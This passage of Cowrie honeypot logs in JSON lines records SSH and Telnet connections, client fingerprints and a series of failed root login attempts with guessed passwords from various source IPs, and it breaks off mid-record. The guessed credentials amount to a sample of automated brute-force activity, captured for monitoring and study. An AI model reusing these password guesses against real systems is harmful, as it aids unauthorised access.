{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:32.082442Z","src_ip":"37.143.61.241","session":"4de72170068a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:32.169601Z","src_ip":"37.143.61.241","session":"4de72170068a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135792468","message":"login attempt [root/135792468] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:32.547322Z","src_ip":"37.143.61.241","session":"4de72170068a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:33.635669Z","src_ip":"37.143.61.241","session":"4de72170068a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.218714237213135,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:35.101695Z","src_ip":"152.42.224.71","session":"2699c1b6b14c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.576828718185425,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:35.967562Z","src_ip":"152.42.224.71","session":"9d7c735cb740","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59888,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d03d3a002f1","protocol":"telnet","message":"New connection: 152.42.224.71:59888 (10.17.0.5:23) [session: 5d03d3a002f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:39.746357Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56166,"dst_ip":"10.17.0.5","dst_port":23,"session":"52c20d346ea7","protocol":"telnet","message":"New connection: 152.42.224.71:56166 (10.17.0.5:23) [session: 52c20d346ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:49.404090Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":54100,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2604b793998","protocol":"ssh","message":"New connection: 68.183.236.1:54100 (159.203.135.109:22) [session: e2604b793998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:50.906090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:50.911012Z","src_ip":"68.183.236.1","session":"e2604b793998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:51.155581Z","src_ip":"68.183.236.1","session":"e2604b793998","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":46506,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf971fc739b2","protocol":"ssh","message":"New connection: 80.94.92.168:46506 (159.203.135.109:22) [session: cf971fc739b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:51.462510Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:51.568105Z","src_ip":"80.94.92.168","session":"cf971fc739b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raza","message":"login attempt [root/raza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:52.178179Z","src_ip":"68.183.236.1","session":"e2604b793998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:53.426655Z","src_ip":"68.183.236.1","session":"e2604b793998","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.8.74","src_port":53322,"dst_ip":"10.17.0.5","dst_port":22,"session":"fadc4b3bf169","protocol":"ssh","message":"New connection: 159.65.8.74:53322 (10.17.0.5:22) [session: fadc4b3bf169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:54.076224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:54.081057Z","src_ip":"159.65.8.74","session":"fadc4b3bf169","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:54.334535Z","src_ip":"159.65.8.74","session":"fadc4b3bf169","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56170,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d4b8fdfeed8","protocol":"telnet","message":"New connection: 152.42.224.71:56170 (10.17.0.5:23) [session: 0d4b8fdfeed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:54.917571Z"}
{"eventid":"cowrie.session.closed","duration":42.59243202209473,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:54.923763Z","src_ip":"152.42.224.71","session":"b0422df64eaf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:55.383679Z","src_ip":"159.65.8.74","session":"fadc4b3bf169","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:56.639757Z","src_ip":"159.65.8.74","session":"fadc4b3bf169","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.35.229","src_port":39938,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ac91c969fb2","protocol":"ssh","message":"New connection: 43.130.35.229:39938 (159.203.135.109:22) [session: 3ac91c969fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:27:59.997037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:00.008582Z","src_ip":"43.130.35.229","session":"3ac91c969fb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:00.081691Z","src_ip":"43.130.35.229","session":"3ac91c969fb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"captain","message":"login attempt [root/captain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:00.391385Z","src_ip":"43.130.35.229","session":"3ac91c969fb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.96.110.121","src_port":47444,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b6af9ac2e1c","protocol":"ssh","message":"New connection: 191.96.110.121:47444 (159.203.135.109:22) [session: 8b6af9ac2e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:01.082576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:01.302145Z","src_ip":"191.96.110.121","session":"8b6af9ac2e1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:01.405124Z","src_ip":"191.96.110.121","session":"8b6af9ac2e1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:01.478581Z","src_ip":"43.130.35.229","session":"3ac91c969fb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin00","message":"login attempt [root/admin00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:02.215315Z","src_ip":"191.96.110.121","session":"8b6af9ac2e1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:03.425786Z","src_ip":"191.96.110.121","session":"8b6af9ac2e1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":56360,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d79eab7f667","protocol":"ssh","message":"New connection: 45.78.230.231:56360 (10.17.0.5:22) [session: 5d79eab7f667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:12.637230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:12.645424Z","src_ip":"45.78.230.231","session":"5d79eab7f667","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:12.883950Z","src_ip":"45.78.230.231","session":"5d79eab7f667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P4ssword!","message":"login attempt [root/P4ssword!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:15.086947Z","src_ip":"45.78.230.231","session":"5d79eab7f667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:16.330149Z","src_ip":"45.78.230.231","session":"5d79eab7f667","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.34.13","src_port":53132,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f57a02575c1","protocol":"ssh","message":"New connection: 43.133.34.13:53132 (159.203.135.109:22) [session: 3f57a02575c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:17.351095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:17.354967Z","src_ip":"43.133.34.13","session":"3f57a02575c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:17.592619Z","src_ip":"43.133.34.13","session":"3f57a02575c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eric123","message":"login attempt [root/eric123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:18.578746Z","src_ip":"43.133.34.13","session":"3f57a02575c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:19.820632Z","src_ip":"43.133.34.13","session":"3f57a02575c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51712,"dst_ip":"10.17.0.5","dst_port":23,"session":"9116ef809afb","protocol":"telnet","message":"New connection: 152.42.224.71:51712 (10.17.0.5:23) [session: 9116ef809afb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:19.980133Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51714,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8d5802ae470","protocol":"telnet","message":"New connection: 152.42.224.71:51714 (10.17.0.5:23) [session: a8d5802ae470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:23.892901Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":45192,"dst_ip":"10.17.0.5","dst_port":22,"session":"582619b109ad","protocol":"ssh","message":"New connection: 181.47.9.103:45192 (10.17.0.5:22) [session: 582619b109ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:25.814176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:25.819156Z","src_ip":"181.47.9.103","session":"582619b109ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 